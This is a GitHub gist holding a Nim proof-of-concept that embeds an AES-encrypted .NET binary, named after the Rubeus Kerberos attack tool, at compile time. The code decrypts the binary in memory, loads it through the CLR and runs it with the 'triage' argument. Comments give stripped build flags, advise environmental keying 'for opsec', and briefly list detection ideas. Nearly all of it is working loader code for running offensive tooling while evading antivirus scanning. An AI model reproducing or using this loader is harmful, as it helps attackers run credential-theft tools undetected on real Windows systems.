Last active
September 19, 2022 17:31
-
-
Save ChoiSG/2caf1c492fda7480e4faa0651ce8fedb to your computer and use it in GitHub Desktop.
embed .net, decrypt, load and execute in nim poc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import nimcrypto | |
import winim/clr except `[]` # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ <-- thank you so much, 2 hours googling I almost went crazy | |
#[ | |
All credit goes to @byt3bl33d3r (OffensiveNim) and @s3cur3th1ssh1t | |
nimble install winim nimcrypto zippy | |
nim c -d:danger -d:strip --opt:size rsrcDecryptAssembly.nim | |
slurp = "staticRead" will read the file and store it in the variable (.rdata) on compile time. | |
- The filename string itself is not inside this nim binary | |
Detection Ideas: ETW (etwbypass nim exists, but still), huge .rdata section size, CLRCreateInstance call, | |
RW memory region committed with the size that is very similar to .rdata's size | |
]# | |
func toByteSeq*(str: string): seq[byte] {.inline.} = | |
@(str.toOpenArrayByte(0, str.high)) | |
const NET_RESOURCE = slurp("C:\\dev\\test3\\Confused\\Rubeus_35s0x9oj.exe.aes") | |
var encryptedData: seq[byte] = toByteSeq(NET_RESOURCE) | |
var envIV = newSeq[byte](16) | |
# First 16 bytes of the encrypted payload is the prepended IV | |
for i in 0..15: | |
envIV[i] = encryptedData[i] | |
# Technically multiplier should be used for array's size instead of "50000" below. But can't figure out at compile time. | |
#var multiplier = len(encryptedData) / aes256.sizeBlock | |
# Decrypting - hardcoding the key for PoC. Use environmental keying for opsec. | |
var envkey: string = "helloworld" | |
var key: array[aes256.sizeKey, byte] | |
var iv: array[aes256.sizeBlock, byte] | |
var data: array[aes256.sizeBlock * 50000, byte] | |
var decryptedData: array[aes256.sizeBlock * 50000, byte] | |
var expandedkey = sha256.digest(envkey) | |
copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) | |
copyMem(addr iv[0], addr envIV[0], len(envIV)) | |
# Jumping over 16 bytes as an offset because first 16 bytes is the prepended IV | |
copyMem(addr data[0], addr encryptedData[16], len(encryptedData)-16) | |
var dctx: CBC[aes256] | |
dctx.init(key,iv) | |
dctx.decrypt(data, decryptedData) | |
dctx.clear() | |
echo "[+] Loading assembly - Press enter" | |
var input= readLine(stdin) | |
var assembly = load(decryptedData) | |
echo "[+] Invoking asembly - Press enter" | |
input = readLine(stdin) | |
var arr = toCLRVariant(["triage"], VT_BSTR) # Pass whatever argument | |
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) | |
echo "[+] Exiting - Press enter" | |
input = readLine(stdin) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment